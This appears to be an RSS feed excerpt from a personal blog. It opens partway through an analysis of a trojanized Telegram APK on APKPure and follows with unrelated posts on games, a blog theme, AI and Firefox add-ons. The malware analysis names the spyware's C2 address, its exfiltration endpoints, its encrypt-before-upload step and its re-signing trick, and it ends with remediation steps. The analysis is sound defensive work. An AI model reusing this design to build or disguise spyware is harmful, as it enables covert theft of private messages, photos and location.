&lt;h3&gt;1. Re-signing and repackaging&lt;/h3&gt;
&lt;p&gt;The attacker obtained the official Telegram APK, replaced its original signature, and injected malicious code into it. In appearance and functionality this app is identical to genuine Telegram; an ordinary user can&apos;t spot anything wrong&lt;/p&gt;
&lt;p&gt;The malicious code was packaged separately into the &lt;code&gt;classes3.dex&lt;/code&gt; file. Genuine Telegram only has classes.dex and classes2.dex; this extra file is where the backdoor hides, and it has over 3,000 lines of code&lt;/p&gt;
&lt;h3&gt;2. Calling internal APIs&lt;/h3&gt;
&lt;p&gt;The JADX decompilation screenshot shows the DataCollector class importing:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;org.telegram.tgnet.TLRPC
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is Telegram&apos;s internal network protocol library. That means the spyware framework doesn&apos;t brute-force data from outside; it &lt;strong&gt;calls Telegram&apos;s own interfaces directly&lt;/strong&gt; to obtain chat logs, including historical messages, bypassing permission checks&lt;/p&gt;
&lt;h3&gt;3. Encrypt, then upload&lt;/h3&gt;
&lt;p&gt;The code also imports:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;javax.crypto.Cipher
javax.crypto.KeyGenerator
javax.crypto.SecretKey
javax.crypto.spec.GCMParameterSpec
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This combination corresponds exactly to the &lt;strong&gt;AES-GCM&lt;/strong&gt; encryption scheme. Stolen data is encrypted locally before being uploaded to the C2 server, in order to slip past network traffic inspection tools&lt;/p&gt;
&lt;h2&gt;The C2 server&apos;s full endpoint list&lt;/h2&gt;
&lt;p&gt;The decompiled code hardcodes the following server endpoints, all pointing to &lt;strong&gt;38.190.225.166&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/api/config&lt;/code&gt; — receives configuration commands sent down by the attacker&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/api/collect&lt;/code&gt; — uploads data collected in real time&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/api/collect_batch&lt;/code&gt; — batch uploads data&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/api/avatar&lt;/code&gt; — uploads avatars/profile information&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/api/image&lt;/code&gt; — uploads gallery images&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/api/doc&lt;/code&gt; — uploads document files&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Two details in the code are also worth noting: &lt;code&gt;GALLERY_QUEUE_BATCH = 20&lt;/code&gt; means the gallery uploads 20 images per batch, and &lt;code&gt;FILE_GATE_RETRY_MS = 300000&lt;/code&gt; means a failed upload is retried every 5 minutes. This is a carefully designed exfiltration system, not a hastily written proof of concept&lt;/p&gt;
&lt;h2&gt;What it can steal&lt;/h2&gt;
&lt;p&gt;Based on the code structure and endpoint analysis, DataCollector has the following exfiltration capabilities:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Communications data&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;All Telegram chat logs, including historical messages&lt;/li&gt;
&lt;li&gt;Contact names and numbers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Files and media&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;All images in the phone&apos;s gallery&lt;/li&gt;
&lt;li&gt;Document files in phone storage (Word, PDF, etc.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Device information&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Real-time GPS location&lt;/li&gt;
&lt;li&gt;SIM card information (carrier, phone number)&lt;/li&gt;
&lt;li&gt;Device model and OS version&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why APKPure didn&apos;t catch it&lt;/h2&gt;
&lt;p&gt;APKPure&apos;s official website claims all apps are scanned by VirusTotal. But this attack got past at least two lines of defense:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bypassing signature verification:&lt;/strong&gt; APKPure verifies whether the file has been tampered with, but it doesn&apos;t verify that the signature matches the official one on Google Play. Re-signing is technically legitimate, but it&apos;s no longer the original&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bypassing virus scanning:&lt;/strong&gt; DataCollector only uses legitimate Android APIs (crypto libraries, file reads, network requests) and contains no exploit or vulnerability code at all; its behavior is no different from an ordinary data-sync app, so traditional antivirus engines struggle to identify it&lt;/p&gt;
&lt;p&gt;This is also why a similar variant Dr.Web found (Android.Backdoor.Baohuo) could survive on APKPure and infect over 58,000 devices&lt;/p&gt;
&lt;h2&gt;Have I been hit? How to tell&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;The simplest way to check:&lt;/strong&gt; open your phone&apos;s app list and look at Telegram&apos;s signature information&lt;/p&gt;
&lt;p&gt;Genuine Telegram&apos;s (from Google Play) signature fingerprint (SHA-256) should be verifiable on the Google Play developer page. If you can&apos;t confirm it, I recommend assuming the worst — that you&apos;ve been hit — and handling it as follows&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Actions to take immediately&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Step one: Uninstall&lt;/strong&gt;
Immediately uninstall Telegram from an unknown source&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step two: Reinstall the genuine version&lt;/strong&gt;
Only download from Google Play or Telegram&apos;s official site (telegram.org)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step three: Audit active sessions&lt;/strong&gt;
Open the newly installed Telegram → Settings → Privacy and Security → Active Sessions, and terminate any device login you don&apos;t recognize&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step four: Change your password + enable two-step verification&lt;/strong&gt;
Two-step verification prevents attackers from using a stolen session to log into your account&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step five: Tell your contacts&lt;/strong&gt;
If your chat logs have leaked, your contacts&apos; information may have been collected along with them&lt;/p&gt;
&lt;h2&gt;The lesson we never remember&lt;/h2&gt;
&lt;p&gt;The core problem in this incident isn&apos;t that Telegram itself has a vulnerability, but that &lt;strong&gt;third-party APK distribution channels lack trustworthy integrity guarantees&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Google Play&apos;s signature verification mechanism is imperfect, but at least it ensures that what you download is the version the developer uploaded with their own hands. Platforms like APKPure are essentially middlemen, and every link in a middleman&apos;s chain is an attack surface&lt;/p&gt;
&lt;p&gt;In regions where Google Play is inaccessible, if you must use a third-party channel, I recommend:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Downloading directly from the developer&apos;s official site (Telegram&apos;s official site provides direct links)&lt;/li&gt;
&lt;li&gt;Manually verifying the SHA-256 hash after downloading&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Supply chain attacks are dangerous precisely because they attack trust itself. You think you&apos;re using a genuine app, but every five minutes your photos and chat logs are quietly flying off to a strange server&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Sources: Eric Parker&apos;s reverse-engineering analysis (X/Twitter), Dr.Web&apos;s security report, the MalwareBazaar sample repository&lt;/em&gt;&lt;/p&gt;
</content:encoded><category>安全</category><category>软件</category><author>Chongxi</author></item><item><title>Perfect Imperfections</title><link>https://xice.cx/en/posts/PerfectImperfections/</link><guid isPermaLink="true">https://xice.cx/en/posts/PerfectImperfections/</guid><description>One year older again (lol)</description><pubDate>Sat, 23 May 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;On that boundless canvas in the mind of God, the tide of creation surges in and drowns the world&lt;br /&gt;
With those radiant colors, it paints out that vast and unknown expanse&lt;br /&gt;
These works don&apos;t just mirror us; they reveal countless deep and brilliant stories&lt;br /&gt;
Should we feel grateful, merely to be part of all this?&lt;br /&gt;
Or should we resent the Creator for bestowing such a fate upon us?&lt;br /&gt;
But either way, we cannot deny&lt;br /&gt;
That the gift of life is so magnificent&lt;br /&gt;
That every one of us has been given&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;That flaw within perfection&lt;/strong&gt;&lt;/p&gt;
</content:encoded><category>文学</category><author>Chongxi</author></item><item><title>I Open-Sourced My Lone Trail Blog Theme as a Template</title><link>https://xice.cx/en/posts/lonetrail/</link><guid isPermaLink="true">https://xice.cx/en/posts/lonetrail/</guid><description>I extracted my blog xice.cx into a standalone template and open-sourced it as Lonetrail.</description><pubDate>Thu, 21 May 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;My blog has gone through three major transformations to become what you see now; it runs on &lt;a href=&quot;https://xice.cx&quot;&gt;xice.cx&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To talk about the history of my blog&apos;s construction, the earliest I can trace it back to is Hexo, where I used redefine at the time. Later, because Astro was newer, I migrated to Astro with the fuwari theme, and then found the theme increasingly couldn&apos;t meet my needs, so I started modifying it. As I modified it, I realized what I&apos;d ended up with had basically nothing to do with the original theme, so I just pulled the whole thing out and made a standalone template. Since it borrows completely from Arknights&apos; Rhine Lab and Lone Trail, I very bluntly called it Lonetrail&lt;/p&gt;
&lt;p&gt;The code is at &lt;a href=&quot;https://github.com/ChongxiSama/Lonetrail&quot;&gt;github.com/ChongxiSama/Lonetrail&lt;/a&gt;, MIT licensed, built on the Astro framework.&lt;/p&gt;
&lt;p&gt;Since I studied React, naturally I wrote some of the complex components in React, but I still used a lot of Astro&apos;s native syntax too — you won&apos;t get the situation of zero Astro and all React&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I also thought about switching to preact before, but I feel the performance has hit diminishing returns; switching really didn&apos;t bring much improvement&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;p&gt;The main thing was extracting the current blog&apos;s UI layer, layout, components and configuration system. I removed my own personal customization logic, cleared out all the hardcoded user information scattered everywhere, and moved it to configuring everything globally in a single &lt;code&gt;site.yml&lt;/code&gt; file&lt;/p&gt;
&lt;p&gt;I went over more than a dozen directories and fixed dozens of hardcoded spots. Now you can change the config and use it directly&lt;/p&gt;
&lt;h2&gt;Features&lt;/h2&gt;
&lt;p&gt;The most basic features a blog should have&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Deployment&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/ChongxiSama/Lonetrail.git my-blog
cd my-blog
pnpm install
# 记得改 src/site.yml 和 astro.config.mjs
pnpm dev
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I personally prefer pnpm; if you&apos;re capable and want to use bun or whatever, it&apos;s all open source, up to you&lt;/p&gt;
</content:encoded><category>博客</category><category>开发</category><author>Chongxi</author></item><item><title>Playing PC Minecraft Java Edition on Your Phone: A Tutorial</title><link>https://xice.cx/en/posts/BestMcLauncherOnAndroid/</link><guid isPermaLink="true">https://xice.cx/en/posts/BestMcLauncherOnAndroid/</guid><description>A recommendation for the most perfect Minecraft Java Edition launcher for phones right now</description><pubDate>Fri, 15 May 2026 14:41:27 GMT</pubDate><content:encoded>&lt;p&gt;In the past, running Minecraft Java Edition on a phone basically meant using &lt;code&gt;PojavLauncher&lt;/code&gt;, but unfortunately that launcher stopped being updated and was &lt;code&gt;archived&lt;/code&gt; on 2025/09/24. Today, running the PC version of Minecraft JE on a phone (Android) takes a successor: &lt;code&gt;Fold Craft Launcher&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./home.webp&quot; alt=&quot;Fold-Craft-Launcher-home-screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;FCL GitHub link: &lt;a href=&quot;https://github.com/FCL-Team/FoldCraftLauncher&quot;&gt;FCL-Team/FoldCraftLauncher&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Perhaps the most perfect launcher for running Minecraft JE on a phone right now (Android only, of course)&lt;/p&gt;
&lt;h2&gt;Tutorial&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Open the link, find the release, and download the installer for your architecture (if you don&apos;t know which to pick, download &lt;code&gt;armv8a&lt;/code&gt; or &lt;code&gt;all&lt;/code&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Open the launcher, (&lt;em&gt;optionally&lt;/em&gt; log in with a legitimate account), and tap the cloud icon on the left to download games/modpacks. If you&apos;ve used HMCL or PCL2 on a computer, you&apos;ll pick it up easily — their operation logic is almost identical (if downloads are slow, you can try using a VPN)&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./dl1.webp&quot; alt=&quot;Fold-Craft-Launcher-download-screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./dl2.webp&quot; alt=&quot;Fold-Craft-Launcher-download-screenshot&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Once the game is downloaded, tap Launch Game in the bottom-right corner and it&apos;s ready to serve&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Buyer&apos;s Showcase&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./1.webp&quot; alt=&quot;Fold-Craft-Launcher-screenshot&quot; /&gt;
&lt;img src=&quot;./2.webp&quot; alt=&quot;Fold-Craft-Launcher-screenshot&quot; /&gt;
&lt;img src=&quot;./4.webp&quot; alt=&quot;Fold-Craft-Launcher-screenshot&quot; /&gt;
&lt;img src=&quot;./5.webp&quot; alt=&quot;Fold-Craft-Launcher-screenshot&quot; /&gt;
&lt;img src=&quot;./6.webp&quot; alt=&quot;Fold-Craft-Launcher-screenshot&quot; /&gt;
&lt;img src=&quot;./7.webp&quot; alt=&quot;Fold-Craft-Launcher-screenshot&quot; /&gt;
&lt;img src=&quot;./8.webp&quot; alt=&quot;Fold-Craft-Launcher-screenshot&quot; /&gt;
&lt;img src=&quot;./9.webp&quot; alt=&quot;Fold-Craft-Launcher-screenshot&quot; /&gt;
&lt;img src=&quot;./10.webp&quot; alt=&quot;Fold-Craft-Launcher-screenshot&quot; /&gt;
&lt;img src=&quot;./11.webp&quot; alt=&quot;Fold-Craft-Launcher-screenshot&quot; /&gt;&lt;/p&gt;
</content:encoded><category>Android</category><category>游戏</category><category>软件</category><author>Chongxi</author></item><item><title>AI and the Equalization of Knowledge</title><link>https://xice.cx/en/posts/AIvsKnowledgEquality/</link><guid isPermaLink="true">https://xice.cx/en/posts/AIvsKnowledgEquality/</guid><description>The arrival of AI is widely expected to equalize knowledge, but that judgment needs to be reexamined from the ground up.</description><pubDate>Fri, 15 May 2026 09:15:13 GMT</pubDate><content:encoded>&lt;p&gt;Personally, I think AI is essentially a tool coefficient with a lower cost of acquisition. It lowers the material threshold for expert-level resources: one-on-one access that used to require money or people now costs less. That is real progress, but what it does is multiplication, not avg&lt;/p&gt;
&lt;p&gt;Multiplication depends on the base. The base is the person, not the tool. The base is the minimum knowledge threshold at which a person can make an effective judgment about AI output. Take coding: someone who knows nothing about programming asks AI to write a complete application and gets a black box they can neither evaluate nor fix, with the result entirely down to gacha. Someone with a foundation asks AI to complete a specific module, and when something goes wrong they can read it and fix it. When the base is zero, no matter how large the coefficient, the product is still zero&lt;/p&gt;
&lt;p&gt;The threshold varies by field. This threshold differs by orders of magnitude between fields. In fields whose output is natural language and evaluable with everyday common sense — legal basics, explanations of medical symptoms, administrative procedures — the threshold for effective judgment is close to basic literacy, and avg in these fields may really be close to universal. And these happen to be exactly the places that traditionally had the most jargon and the most unequal information&lt;/p&gt;
&lt;p&gt;So my judgment is this: on the dimension of &quot;elite knowledge,&quot; AI does multiplication and widens the gap between people. On the dimension of &quot;basic information,&quot; it does averaging, and is dissolving some of the oldest and most universal information exploitation. The two proceed in parallel without contradiction&lt;/p&gt;
&lt;p&gt;For people with an active desire to learn, AI can also help raise the base itself. Make a mistake, follow up, understand, use it again — this loop is a real upward spiral. But the starting point of the spiral is always the person: you have to be willing to ask one more why when something goes wrong. The admission ticket is subjective initiative, and that itself is not distributed equally&lt;/p&gt;
&lt;p&gt;The inclusive effect of AI is also constrained along three dimensions: on the supply side, the infrastructure gap has not been closed — infrastructure in mountainous areas is poor, and AI&apos;s threshold has not been lowered for them at all. On the demand side, the gaps in ability and will between people persist. The quality of the tools themselves is unequal, and they flow structurally toward the stronger: the people who can reach better models often already have stronger information-acquisition ability and willingness to pay. The gaps between models like Doubao, deepseek and Claude really do exist&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;But the more fundamental problem is that knowledge equalization, as a systemic promise, was oversold from the very beginning&lt;/p&gt;
&lt;p&gt;A hardworking person in a high-cost environment might be 50×1＝50. A lazy person in a low-cost environment might be 1×50＝50. The result is the same; the paths are completely different. A real leap only happens when subjective initiative and a high-quality environment work together. The policy logic of knowledge equalization is essentially optimizing the environment coefficient while pretending to solve the problem of the person. It&apos;s just whack-a-mole&lt;/p&gt;
&lt;p&gt;The upper layer doesn&apos;t passively benefit from inequality; it actively produces and maintains it. When degrees lose value, people compete for elite schools; when elite schools become common, people compete for overseas ones; when AI lets more people write code, the competition shifts to architecture, judgment and taste — things that are harder to toolify and harder to equalize. Every step forward in equalization rebuilds the barrier at a higher level&lt;/p&gt;
&lt;p&gt;This narrative keeps circulating because it is useful to every party: it gives internet companies moral endorsement, gives policymakers a lever, and gives ordinary people hope. Its function is not to solve the problem but to give inequality an acceptable explanatory frame — turning structural problems into personal ones, and power struggles into educational issues&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&quot;Equalization will never happen&quot; is indeed hard to claim, but it is undeniable that it is far smaller, slower and more local than the way it was sold, and that it always faces structurally opposing forces&lt;/p&gt;
&lt;p&gt;AI is genuinely dissolving the oldest information exploitation in some fields, and genuinely accelerating existing divisions in more places. It has not changed the fact that the person is the decisive variable, nor the mechanism by which barriers keep being rebuilt. It is worth pursuing, but as an achievable systemic end state, it has never truly held in the structure of human society&lt;/p&gt;
&lt;p&gt;The arrival of AI will not make it hold; it will only make this clearer sooner. It is an accelerator, but an accelerator doesn&apos;t consider direction&lt;/p&gt;
</content:encoded><category>社会评论</category><author>Chongxi</author></item><item><title>Legalized Cannibalism: Deconstructing Arknights&apos; Columbia Storyline — Mansfield Break</title><link>https://xice.cx/en/posts/ArknightsStoryMansfieldBreak/</link><guid isPermaLink="true">https://xice.cx/en/posts/ArknightsStoryMansfieldBreak/</guid><description>Starting with Mansfield Break, a breakdown of the capital-operation logic behind Arknights&apos; Columbia.</description><pubDate>Wed, 13 May 2026 16:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Warning: this may be an Arknights story summary that will give lore enthusiasts high blood pressure
This article contains extremely severe story-distorting deconstruction and hell-joke-style blunt summaries. Please don&apos;t take it too seriously; after reading it you&apos;ll most likely think I just escaped from an Ursus insane asylum&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In the world of Terra in Arknights, the storylines of other countries are usually filled with bloodlines, racism, gods, ancient grudges and primordial behemoths, but Columbia&apos;s storyline isn&apos;t boring racial brawling — it drags you straight into a modern capitalist free-for-all of &lt;strong&gt;antitrust law, patent wars, NASDAQ bell-ringing and legalised gangsters&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This article will start by analysing the first part of the Columbia arc: &lt;strong&gt;Mansfield Break&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you only look at the surface, Mansfield Break is a very standard Hollywood-style Shawshank Redemption remake:&lt;/p&gt;
&lt;p&gt;The protagonist Mountain (Anthony): a gentle, refined young master of a gangster/financial conglomerate, framed by his enemies, sentenced to a heavy term and thrown into the fully enclosed Mansfield mobile prison&lt;/p&gt;
&lt;p&gt;The one planning his escape is the former Rhine Lab researcher Silence. Unable to bear seeing a good man wronged, she pays out of her own pocket to hire Kafka, and Robin, a worker with nowhere else to turn, to infiltrate the prison and try to break the young master out from the inside&lt;/p&gt;
&lt;p&gt;With a riot stirred up in the prison as cover, the male lead has a showdown on a rainy night with Jesselton, the top assassin sent by his enemies (top-tier, really?)&lt;/p&gt;
&lt;p&gt;In the end, the former Rhine Lab security director Saria comes out, punches Jesselton into oblivion with three blows, and leads everyone off in style&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;But that is only the surface. If you carefully take apart the logic of how Columbian society operates, you&apos;ll find that behind all of this is nothing but cannibalistic capitalist business&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;In this whole affair, the mastermind framing Mountain is a major Columbian conglomerate, the Hyde brothers. Why do they want to take down Mountain? Not for revenge, but for &lt;strong&gt;a business acquisition&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Mountain&apos;s family business, Simon Company, stood in the way of the Hyde brothers&apos; money in the construction-materials sector. In other countries, dealing with a competitor might mean assassination. But in Columbia, this society of the rule of law (rule by law), the Hyde brothers chose &quot;legal means&quot;: &lt;strong&gt;bribe the prosecution, forge evidence, and brand the heir of Simon Company a felon&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Once the heir is imprisoned, the company&apos;s stock price will plummet, and the Hyde brothers can complete a hostile takeover of Simon Company on the capital market at an extremely low price. &lt;strong&gt;This is the Columbian-style corporate war&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Mansfield Prison is the darkest microcosm of Columbia. It is not a state apparatus of violence at all, but a &lt;strong&gt;for-profit private enterprise&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The prisoners here don&apos;t need to be reformed, and don&apos;t need to be executed. Because every prisoner is free, bottomless labour&lt;/p&gt;
&lt;p&gt;The warden doesn&apos;t care at all that the prisoners form factions, run underground boxing, or even ccb, as long as they can go to the factory on time every day to run sewing machines and make industrial parts, creating KPI for the prison&lt;/p&gt;
&lt;p&gt;In the eyes of Columbian capitalists: &lt;strong&gt;the death penalty is too wasteful. Depriving a person of political rights and turning them into a biological machine that runs 24 hours a day and needs no five social insurances and one housing fund — that is the maximum utilisation of social value&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The villain assassin Jesselton is mocked by the player base as the most pathetic clown boss in Arknights history; this man is a perfect embodiment of Columbia&apos;s workplace ecology&lt;/p&gt;
&lt;p&gt;He is clearly an assassin, yet he talks endlessly about decency, rules and company systems. He goes into the prison to kill only because it&apos;s a project the Hyde brothers outsourced to him. He thinks he represents Columbia&apos;s supreme capitalist power system&lt;/p&gt;
&lt;p&gt;When he meets Saria descending from the sky, what collapses him most isn&apos;t that he can&apos;t win, but that Saria doesn&apos;t play by workplace rules at all. &lt;strong&gt;Jesselton is a senior worker alienated by capital; he thinks he is the enforcer of the rules, only for his worldview to be smashed to pieces by a single punch of real force&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The characters who appear in this event embody the price Columbia pays for trading humanity for value&lt;/p&gt;
&lt;p&gt;Why does Robin infiltrate the prison to help someone escape? Because her father has Oripathy, and to scrape together money for treatment she can only sell her own life to do this kind of illegal work. Columbia has Terra&apos;s most advanced medical technology, Rhine Lab, yet the people at the bottom here can&apos;t afford even a single aspirin. &lt;strong&gt;The more advanced the technology, the more expensive the medical care, and the faster the poor die&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Silence, on the other hand, is an absolute idealist, trying to fight the entire system with her meagre strength. She thinks she has planned a flawless prison break, but in fact every move she makes is under the surveillance and tacit permission of big shots like Muelsyse and Saria&lt;/p&gt;
&lt;p&gt;Why is it Saria who settles it with one punch in the end? This actually hints at a core rule of Columbia: &lt;strong&gt;on this land that boasts of freedom and law, the real law is always in the hands of those super-oligarchs with absolute power&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;As the opening of the Columbia series, Mansfield Break actually only exposes the lowest, most mundane side of this country: &lt;strong&gt;for money and efficiency, grinding the common people down and using them as lubricant&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Although Mountain successfully escapes and flees to Rhodes Island, he has lost his family and his life forever. The Hyde brothers still call the wind and summon the rain in Columbia, and the private prison is still endlessly receiving &quot;free labour&quot;. The protagonist group won a tactical victory, but Columbia&apos;s gears of capital are still roaring and turning&lt;/p&gt;
&lt;p&gt;In this chapter, Columbia is still only at the level of capitalists&lt;/p&gt;
&lt;p&gt;But in the next part, Lone Trail, we will see where Columbia is truly terrifying&lt;/p&gt;
</content:encoded><category>游戏</category><category>文学</category><author>Chongxi</author></item><item><title>How to Unlock the Highest Graphics Settings in Arknights: Endfield</title><link>https://xice.cx/en/posts/unlockEndfieldHighQuality/</link><guid isPermaLink="true">https://xice.cx/en/posts/unlockEndfieldHighQuality/</guid><description>Is Arknights: Endfield&apos;s mobile version locked? How to unlock the highest graphics settings and render resolution</description><pubDate>Tue, 12 May 2026 05:58:11 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;I&apos;ve been playing Endfield recently and found the graphics very blurry. Even with the render resolution maxed out in settings it still looks blurry as Steve, and some graphics options are locked outright and won&apos;t go higher, so I suspected Endfield has a tiering system that locks graphics on certain devices. That led to the jailbreak attempt in this post&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./1.webp&quot; alt=&quot;Arknights:Endfield&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./3.webp&quot; alt=&quot;Arknights:Endfield-Game-setting&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Note that simply changing your phone model (disguising it as a Galaxy S26, for example) does not bypass Endfield&apos;s tier detection; you need to change the GPU model the game recognizes, which requires a tool called &lt;strong&gt;iUnlocker GLTool&lt;/strong&gt; to spoof it&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./4.webp&quot; alt=&quot;iUnlockerGLTool&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/i-Taylo/iUnlockerGL&quot;&gt;iUnlocker GLTool GitHub repository link&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Preparation&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Before you start, make sure you understand the associated modding risks and are capable of unbricking your device. This article is not responsible for that&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A rooted phone&lt;/li&gt;
&lt;li&gt;A su manager such as Magisk or Kernel SU&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Steps&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Open a manager like Magisk and flash the module you just downloaded in the Modules section (a reboot is required for it to take effect)&lt;/li&gt;
&lt;li&gt;Open the module archive you just downloaded; inside is an APK. Install it and grant it root permission (this is the graphics manager)&lt;/li&gt;
&lt;li&gt;Open the installed iUnlocker revision app, tap &lt;code&gt;+&lt;/code&gt; to add an app, add Arknights: Endfield, and an app icon appears at the top; tap it once more to open the menu and pick the GPU model to spoof&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;p&gt;If you don&apos;t know which model and version to choose, just pick the highest tier by default, as shown
&lt;img src=&quot;./5.webp&quot; alt=&quot;iUnlockerGLTool&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;ol&gt;
&lt;li&gt;Save and exit. Launching Endfield now may trigger a one-time shader compilation; after that, once you&apos;re back in the game, you&apos;ll find that all the graphics options that couldn&apos;t be set high before are unlocked, and the resolution runs at full power&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./6.webp&quot; alt=&quot;Arknights:Endfield&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./7.webp&quot; alt=&quot;Arknights:Endfield&quot; /&gt;&lt;/p&gt;
</content:encoded><category>游戏</category><category>Android</category><author>Chongxi</author></item><item><title>How to Enable Developer Installation of Local Add-ons on Firefox for Android</title><link>https://xice.cx/en/posts/firefoxAndroidInstallExtended/</link><guid isPermaLink="true">https://xice.cx/en/posts/firefoxAndroidInstallExtended/</guid><description>A tutorial on enabling developer mode and installing add-ons from a file on Firefox for Android</description><pubDate>Mon, 27 Apr 2026 12:02:11 GMT</pubDate><content:encoded>&lt;h2&gt;1. Enable developer mode&lt;/h2&gt;
&lt;p&gt;Firefox has a built-in debug menu, hidden by default. Activate it as follows:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;设置 → 关于 Firefox → tap the Firefox logo five times in a row&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./2.webp&quot; alt=&quot;open-firefox-debug-mode&quot; /&gt;&lt;/p&gt;
&lt;p&gt;A toast appears at the bottom: &lt;code&gt;已启用调试菜单&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Go back to 设置, and a &lt;strong&gt;从文件安装插件&lt;/strong&gt; option appears under 高级选项&lt;/p&gt;
&lt;h2&gt;2. Install a local add-on&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;On the add-on page of the &lt;a href=&quot;https://addons.mozilla.org&quot;&gt;Firefox add-on store&lt;/a&gt;, click &lt;strong&gt;Download file&lt;/strong&gt; and download the &lt;code&gt;.xpi&lt;/code&gt; file to your phone&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;The Add button can&apos;t be clicked here, so installing locally is the only option&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./1.webp&quot; alt=&quot;install-extension&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Activate the debug menu described above&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;设置 → 从文件安装插件 → select the downloaded &lt;code&gt;.xpi&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./3.webp&quot; alt=&quot;install-extension&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Done&lt;/li&gt;
